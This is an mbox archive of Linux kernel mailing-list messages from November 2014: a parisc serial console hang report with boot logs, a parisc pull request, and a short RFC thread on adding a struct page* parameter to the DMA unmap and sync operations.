X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.serial,gmane.linux.ports.parisc
Subject: serial console problem with kernel 3.18.0-rc4
Date: Tue, 11 Nov 2014 20:13:17 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <54625FCD.3070008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1415733216 30557 80.91.229.3 (11 Nov 2014 19:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 11 Nov 2014 19:13:36 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: linux-serial@vger.kernel.org
Original-X-From: linux-serial-owner@vger.kernel.org Tue Nov 11 20:13:24 2014
Return-path: <linux-serial-owner@vger.kernel.org>
Envelope-to: lnx-linux-serial@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-serial-owner@vger.kernel.org>)
	id 1XoGsU-0001H0-Jg
	for lnx-linux-serial@plane.gmane.org; Tue, 11 Nov 2014 20:13:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751758AbaKKTNV (ORCPT <rfc822;lnx-linux-serial@m.gmane.org>);
	Tue, 11 Nov 2014 14:13:21 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:60443 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751567AbaKKTNU (ORCPT <rfc822;linux-serial@vger.kernel.org>);
	Tue, 11 Nov 2014 14:13:20 -0500
Original-Received: from [192.168.178.60] ([84.173.45.39]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MfF6I-1XccoW1DPW-00OnX9; Tue, 11 Nov 2014 20:13:18
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
X-Provags-ID: V03:K0:s/Eb0FLb2ohtXV6lXGq8RYtPk/u/d0n0T3jY4J4UoKfJ6cOXKYV
 QghWWkoJXFoXwkD6Zm3uKX6KwN5thqdwe7R6Ng32vVKKuNbsJJkjn7GEqo7pEIotCd57FD6
 Lladihqh30cNHfv0qrH/ETcCnhuvbVan2Tbe+lCqIHzTtb6hUOaqX5qNiBhS6b4MBP/ZxN2
 4EoVyjGDPr5mb/7gnHJYg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-serial-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-serial.vger.kernel.org>
X-Mailing-List: linux-serial@vger.kernel.org
Xref: news.gmane.org gmane.linux.serial:16740 gmane.linux.ports.parisc:6208
Archived-At: <http://permalink.gmane.org/gmane.linux.serial/16740>

While testing kernel 3.18-rc4 I'm facing a problem with serial console.

I'm seeing at bootup this message:
[   17.724000] console [ttyS0] disabled
after that it's just hanging.

It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
Full log below.

Helge

serial driver: drivers/tty/serial/8250/8250_pci.c

PCI info:
00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
         Subsystem: Hewlett-Packard Company Device 1283
         Flags: medium devsel, IRQ 70
         Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
         I/O ports at 0040 [size=64]
         Capabilities: [48] Power Management version 2
         Kernel driver in use: serial


dmesg after bootup:

[   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
[   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
[   17.724000] console [ttyS0] disabled
[   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
[   17.996000] console [ttyS0] enabled
[   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
[   38.888000] Task dump for CPU 3:
[   38.888000] swapper/0       R  running task        0     1      0 0x00000004
[   38.888000] Backtrace:
[   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
[   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
[   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
[   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
[   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
[   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
[   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
[   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
[   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
[   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
[   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
[   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
[   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
[   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
[   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
[   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58

[   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
[   59.140000] bootconsole [ttyB0] disabled
[   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
[   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
--
To unsubscribe from this list: send the line "unsubscribe linux-serial" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture patches for v3.18
Date: Sat, 15 Nov 2014 23:00:48 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20141115220048.GA19278@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416088866 32065 80.91.229.3 (15 Nov 2014 22:01:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Nov 2014 22:01:06 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 15 23:00:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XplOr-0007Pn-Vn
	for glpp-linux-parisc@plane.gmane.org; Sat, 15 Nov 2014 23:00:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754225AbaKOWAz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Nov 2014 17:00:55 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:54363 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754152AbaKOWAy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Nov 2014 17:00:54 -0500
Original-Received: from ls3530.box ([84.173.38.156]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LjIit-1YP5UD2PLb-00dary; Sat, 15 Nov 2014 23:00:50
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:5ut4SzSBIRKdczORblUbX690ciYcTIpQ6cfVlyHtMkQ7u4kfQgf
 /g8hs11j7oyNep3kKHMOSSx5aiiciDYviu2mL68bYOChBXkwBzeg8MF7/ltwoSFpG3OLcDg
 ocRcdeR8bGPH15GzJ8+7uBbfmYJL+m9d0bSNQ7gHr4w/sKZYwgfibghe5yYpfNGK60WqsUz
 PtqqmYW146i92rXejGppw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6209 gmane.linux.kernel:1830207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6209>

Hi Linus,

please pull some patches for the parisc architecture for kernel 3.18 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.18-2

Changes include:
- wire up the bpf syscall
- Remove CONFIG_64BIT usage from some userspace-exported header files
- Use compat functions for msgctl, shmat, shmctl and semtimedop syscalls 

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (4):
      parisc: Wire up bpf syscall
      parisc: Use BUILD_BUG() instead of undefined functions
      parisc: Use compat layer for msgctl, shmat, shmctl and semtimedop syscalls
      parisc: Avoid using CONFIG_64BIT in userspace exported headers

 arch/parisc/include/asm/uaccess.h          | 19 +++++++---------
 arch/parisc/include/uapi/asm/bitsperlong.h |  8 +------
 arch/parisc/include/uapi/asm/msgbuf.h      |  8 ++++---
 arch/parisc/include/uapi/asm/sembuf.h      |  6 +++--
 arch/parisc/include/uapi/asm/shmbuf.h      | 35 +++++++++++++-----------------
 arch/parisc/include/uapi/asm/signal.h      |  2 +-
 arch/parisc/include/uapi/asm/unistd.h      |  3 ++-
 arch/parisc/kernel/syscall_table.S         |  9 ++++----
 8 files changed, 41 insertions(+), 49 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefano Stabellini <stefano.stabellini@eu.citrix.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.emulators.xen.devel,gmane.linux.kernel.iommu,gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel
Subject: [RFC] add a struct page* parameter to dma_map_ops.unmap_page
Date: Mon, 17 Nov 2014 14:11:51 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416233551 1714 80.91.229.3 (17 Nov 2014 14:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Nov 2014 14:12:31 +0000 (UTC)
Cc: David Vrabel <david.vrabel@citrix.com>,
	Ian Campbell <Ian.Campbell@citrix.com>,
	<konrad.wilk@oracle.com>, <linux-kernel@vger.kernel.org>,
	<xen-devel@lists.xensource.com>, <torvalds@linux-foundation.org>,
	<vinod.koul@intel.com>, <dmaengine@vger.kernel.org>,
	Stefano Stabellini <Stefano.Stabellini@eu.citrix.com>,
	<bhelgaas@google.com>, <jejb@parisc-linux.org>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <iommu@lists.linux-foundation.org>,
	<airlied@linux.ie>, <dri-devel@lists.freedesktop.org>,
	<alexander.deucher@amd.com>, <christian.koenig@amd.com>,
	<linux@arm.linux.org.uk>, <linux-mips@linux-mips.org>,
	<ralf@linux-mips.org>, <linux-arm-kernel@lists.infradead.org>,
	<dwmw2@infradead.org>
To: <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 17 15:12:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XqN2Q-0000H7-0A
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Nov 2014 15:12:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752578AbaKQOMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Nov 2014 09:12:17 -0500
Original-Received: from smtp.citrix.com ([66.165.176.89]:33751 "EHLO SMTP.CITRIX.COM"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752408AbaKQOMQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Nov 2014 09:12:16 -0500
X-IronPort-AV: E=Sophos;i="5.07,403,1413244800"; 
   d="scan'208";a="192046949"
Original-Received: from ukmail1.uk.xensource.com (10.80.16.128) by smtprelay.citrix.com
 (10.13.107.79) with Microsoft SMTP Server id 14.3.181.6; Mon, 17 Nov 2014
 09:12:12 -0500
Original-Received: from kaball.uk.xensource.com ([10.80.2.59])	by
 ukmail1.uk.xensource.com with esmtp (Exim 4.69)	(envelope-from
 <stefano.stabellini@eu.citrix.com>)	id 1XqN2I-000508-7z; Mon, 17 Nov 2014
 14:12:10 +0000
X-X-Sender: sstabellini@kaball.uk.xensource.com
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-DLP: MIA2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6210 gmane.linux.kernel:1830959 gmane.comp.emulators.xen.devel:223151 gmane.linux.kernel.iommu:7391 gmane.comp.video.dri.devel:118499 gmane.linux.ports.mips.general:45377 gmane.linux.ports.arm.kernel:372572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6210>

Hi all,
I am writing this email to ask for your advice.

On architectures where dma addresses are different from physical
addresses, it can be difficult to retrieve the physical address of a
page from its dma address.

Specifically this is the case for Xen on arm and arm64 but I think that
other architectures might have the same issue.

Knowing the physical address is necessary to be able to issue any
required cache maintenance operations when unmap_page,
sync_single_for_cpu and sync_single_for_device are called.

Adding a struct page* parameter to unmap_page, sync_single_for_cpu and
sync_single_for_device would make Linux dma handling on Xen on arm and
arm64 much easier and quicker.

I think that other drivers have similar problems, such as the Intel
IOMMU driver having to call find_iova and walking down an rbtree to get
the physical address in its implementation of unmap_page.

Callers have the struct page* in their hands already from the previous
map_page call so it shouldn't be an issue for them.  A problem does
exist however: there are about 280 callers of dma_unmap_page and
pci_unmap_page. We have even more callers of the dma_sync_single_for_*
functions.



Is such a change even conceivable? How would one go about it?

I think that Xen would not be the only one to gain from it, but I would
like to have a confirmation from others: given the magnitude of the
changes involved I would actually prefer to avoid them unless multiple
drivers/archs/subsystems could really benefit from them.

Cheers,

Stefano


diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d5d3881..158a765 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -31,8 +31,9 @@ struct dma_map_ops {
 			       unsigned long offset, size_t size,
 			       enum dma_data_direction dir,
 			       struct dma_attrs *attrs);
-	void (*unmap_page)(struct device *dev, dma_addr_t dma_handle,
-			   size_t size, enum dma_data_direction dir,
+	void (*unmap_page)(struct device *dev, struct page *page,
+			   dma_addr_t dma_handle, size_t size,
+			   enum dma_data_direction dir,
 			   struct dma_attrs *attrs);
 	int (*map_sg)(struct device *dev, struct scatterlist *sg,
 		      int nents, enum dma_data_direction dir,
@@ -41,10 +42,10 @@ struct dma_map_ops {
 			 struct scatterlist *sg, int nents,
 			 enum dma_data_direction dir,
 			 struct dma_attrs *attrs);
-	void (*sync_single_for_cpu)(struct device *dev,
+	void (*sync_single_for_cpu)(struct device *dev, struct page *page,
 				    dma_addr_t dma_handle, size_t size,
 				    enum dma_data_direction dir);
-	void (*sync_single_for_device)(struct device *dev,
+	void (*sync_single_for_device)(struct device *dev, struct page *page,
 				       dma_addr_t dma_handle, size_t size,
 				       enum dma_data_direction dir);
 	void (*sync_sg_for_cpu)(struct device *dev,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Vrabel <david.vrabel@citrix.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.comp.video.dri.devel,gmane.comp.emulators.xen.devel,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.kernel.iommu
Subject: Re: [Xen-devel] [RFC] add a struct page* parameter to dma_map_ops.unmap_page
Date: Mon, 17 Nov 2014 14:43:46 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <546A09A2.9090704@citrix.com>
References: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416235445 2082 80.91.229.3 (17 Nov 2014 14:44:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Nov 2014 14:44:05 +0000 (UTC)
Cc: <linux-mips@linux-mips.org>, <airlied@linux.ie>,
	<dri-devel@lists.freedesktop.org>, <xen-devel@lists.xensource.com>,
	<linux@arm.linux.org.uk>, <vinod.koul@intel.com>, <deller@gmx.de>,
	<jejb@parisc-linux.org>, Ian Campbell <Ian.Campbell@citrix.com>,
	<alexander.deucher@amd.com>, <bhelgaas@google.com>,
	<linux-arm-kernel@lists.infradead.org>,
	<linux-parisc@vger.kernel.org>, <dwmw2@infradead.org>,
	<linux-kernel@vger.kernel.org>, <ralf@linux-mips.org>,
	<iommu@lists.linux-foundation.org>,
	David Vrabel <david.vrabel@citrix.com>,
	<dmaengine@vger.kernel.org>, <torvalds@linux-foundation.org>,
	<christian.koenig@amd.com>
To: Stefano Stabellini <stefano.stabellini@eu.citrix.com>,
	<gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 17 15:43:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XqNX1-0003ef-AK
	for glpp-linux-parisc@plane.gmane.org; Mon, 17 Nov 2014 15:43:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752635AbaKQOny (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Nov 2014 09:43:54 -0500
Original-Received: from smtp.citrix.com ([66.165.176.89]:2158 "EHLO SMTP.CITRIX.COM"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752174AbaKQOnx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Nov 2014 09:43:53 -0500
X-IronPort-AV: E=Sophos;i="5.07,403,1413244800"; 
   d="scan'208";a="192058712"
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Icedove/24.5.0
In-Reply-To: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
X-DLP: MIA2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6211 gmane.linux.ports.mips.general:45378 gmane.comp.video.dri.devel:118502 gmane.comp.emulators.xen.devel:223154 gmane.linux.ports.arm.kernel:372585 gmane.linux.kernel:1830970 gmane.linux.kernel.iommu:7392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6211>

On 17/11/14 14:11, Stefano Stabellini wrote:
> Hi all,
> I am writing this email to ask for your advice.
> 
> On architectures where dma addresses are different from physical
> addresses, it can be difficult to retrieve the physical address of a
> page from its dma address.
> 
> Specifically this is the case for Xen on arm and arm64 but I think that
> other architectures might have the same issue.
> 
> Knowing the physical address is necessary to be able to issue any
> required cache maintenance operations when unmap_page,
> sync_single_for_cpu and sync_single_for_device are called.
> 
> Adding a struct page* parameter to unmap_page, sync_single_for_cpu and
> sync_single_for_device would make Linux dma handling on Xen on arm and
> arm64 much easier and quicker.

Using an opaque handle instead of struct page * would be more beneficial
for the Intel IOMMU driver.  e.g.,

typedef dma_addr_t dma_handle_t;

dma_handle_t dma_map_single(struct device *dev,
                            void *va, size_t size,
                            enum dma_data_direction dir);
void dma_unmap_single(struct device *dev,
                      dma_handle_t handle, size_t size,
                      enum dma_data_direction dir);

etc.

Drivers would then use:

dma_addr_t dma_addr(dma_handle_t handle);

To obtain the bus address from the handle.

> I think that other drivers have similar problems, such as the Intel
> IOMMU driver having to call find_iova and walking down an rbtree to get
> the physical address in its implementation of unmap_page.
> 
> Callers have the struct page* in their hands already from the previous
> map_page call so it shouldn't be an issue for them.  A problem does
> exist however: there are about 280 callers of dma_unmap_page and
> pci_unmap_page. We have even more callers of the dma_sync_single_for_*
> functions.

You will also need to fix dma_unmap_single() and pci_unmap_single()
(another 1000+ callers).

You may need to consider a parallel set of map/unmap API calls that
return/accept a handle, and then converting drivers one-by-one as
required, instead of trying to convert every single driver at once.

David
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefano Stabellini <stefano.stabellini@eu.citrix.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.comp.emulators.xen.devel,gmane.linux.kernel.iommu,gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel
Subject: Re: [RFC] add a struct page* parameter to dma_map_ops.unmap_page
Date: Fri, 21 Nov 2014 11:48:33 +0000
Lines: 84
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.02.1411211147450.12596@kaball.uk.xensource.com>
References: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416570551 12745 80.91.229.3 (21 Nov 2014 11:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2014 11:49:11 +0000 (UTC)
Cc: <gregkh@linuxfoundation.org>,
	David Vrabel <david.vrabel@citrix.com>,
	Ian Campbell <Ian.Campbell@citrix.com>,
	<konrad.wilk@oracle.com>, <linux-kernel@vger.kernel.org>,
	<xen-devel@lists.xensource.com>, <torvalds@linux-foundation.org>,
	<vinod.koul@intel.com>, <dmaengine@vger.kernel.org>,
	<bhelgaas@google.com>, <jejb@parisc-linux.org>, <deller@gmx.de>,
	<linux-parisc@vger.kernel.org>, <iommu@lists.linux-foundation.org>,
	<airlied@linux.ie>, <dri-devel@lists.freedesktop.org>,
	<alexander.deucher@amd.com>, <christian.koenig@amd.com>,
	<linux@arm.linux.org.uk>, <linux-mips@linux-mips.org>,
	<ralf@linux-mips.org>, <linux-arm-kernel@lists.infradead.org>,
	<dwmw2@infradead.org>
To: Stefano Stabellini <stefano.stabellini@eu.citrix.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 12:49:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xrmhw-0002Lk-Vl
	for glpp-linux-parisc@plane.gmane.org; Fri, 21 Nov 2014 12:49:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755228AbaKULtA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2014 06:49:00 -0500
Original-Received: from smtp.citrix.com ([66.165.176.89]:54824 "EHLO SMTP.CITRIX.COM"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754592AbaKULs7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2014 06:48:59 -0500
X-IronPort-AV: E=Sophos;i="5.07,429,1413244800"; 
   d="scan'208";a="193667428"
Original-Received: from ukmail1.uk.xensource.com (10.80.16.128) by smtprelay.citrix.com
 (10.13.107.78) with Microsoft SMTP Server id 14.3.181.6; Fri, 21 Nov 2014
 06:48:56 -0500
Original-Received: from kaball.uk.xensource.com ([10.80.2.59])	by
 ukmail1.uk.xensource.com with esmtp (Exim 4.69)	(envelope-from
 <stefano.stabellini@eu.citrix.com>)	id 1Xrmhr-0001XK-RX; Fri, 21 Nov 2014
 11:48:55 +0000
X-X-Sender: sstabellini@kaball.uk.xensource.com
In-Reply-To: <alpine.DEB.2.02.1411111644490.26318@kaball.uk.xensource.com>
User-Agent: Alpine 2.02 (DEB 1266 2009-07-14)
X-DLP: MIA2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6213 gmane.linux.kernel:1834845 gmane.comp.emulators.xen.devel:223623 gmane.linux.kernel.iommu:7441 gmane.comp.video.dri.devel:118894 gmane.linux.ports.mips.general:45489 gmane.linux.ports.arm.kernel:374253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6213>

On Mon, 17 Nov 2014, Stefano Stabellini wrote:
> Hi all,
> I am writing this email to ask for your advice.
> 
> On architectures where dma addresses are different from physical
> addresses, it can be difficult to retrieve the physical address of a
> page from its dma address.
> 
> Specifically this is the case for Xen on arm and arm64 but I think that
> other architectures might have the same issue.
> 
> Knowing the physical address is necessary to be able to issue any
> required cache maintenance operations when unmap_page,
> sync_single_for_cpu and sync_single_for_device are called.
> 
> Adding a struct page* parameter to unmap_page, sync_single_for_cpu and
> sync_single_for_device would make Linux dma handling on Xen on arm and
> arm64 much easier and quicker.
> 
> I think that other drivers have similar problems, such as the Intel
> IOMMU driver having to call find_iova and walking down an rbtree to get
> the physical address in its implementation of unmap_page.
> 
> Callers have the struct page* in their hands already from the previous
> map_page call so it shouldn't be an issue for them.  A problem does
> exist however: there are about 280 callers of dma_unmap_page and
> pci_unmap_page. We have even more callers of the dma_sync_single_for_*
> functions.
> 
> 
> 
> Is such a change even conceivable? How would one go about it?
> 
> I think that Xen would not be the only one to gain from it, but I would
> like to have a confirmation from others: given the magnitude of the
> changes involved I would actually prefer to avoid them unless multiple
> drivers/archs/subsystems could really benefit from them.

Given the lack of interest from the community, I am going to drop this
idea.




> Cheers,
> 
> Stefano
> 
> 
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index d5d3881..158a765 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -31,8 +31,9 @@ struct dma_map_ops {
>  			       unsigned long offset, size_t size,
>  			       enum dma_data_direction dir,
>  			       struct dma_attrs *attrs);
> -	void (*unmap_page)(struct device *dev, dma_addr_t dma_handle,
> -			   size_t size, enum dma_data_direction dir,
> +	void (*unmap_page)(struct device *dev, struct page *page,
> +			   dma_addr_t dma_handle, size_t size,
> +			   enum dma_data_direction dir,
>  			   struct dma_attrs *attrs);
>  	int (*map_sg)(struct device *dev, struct scatterlist *sg,
>  		      int nents, enum dma_data_direction dir,
> @@ -41,10 +42,10 @@ struct dma_map_ops {
>  			 struct scatterlist *sg, int nents,
>  			 enum dma_data_direction dir,
>  			 struct dma_attrs *attrs);
> -	void (*sync_single_for_cpu)(struct device *dev,
> +	void (*sync_single_for_cpu)(struct device *dev, struct page *page,
>  				    dma_addr_t dma_handle, size_t size,
>  				    enum dma_data_direction dir);
> -	void (*sync_single_for_device)(struct device *dev,
> +	void (*sync_single_for_device)(struct device *dev, struct page *page,
>  				       dma_addr_t dma_handle, size_t size,
>  				       enum dma_data_direction dir);
>  	void (*sync_sg_for_cpu)(struct device *dev,
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:56 2018
X-Mozilla-Status: 0011
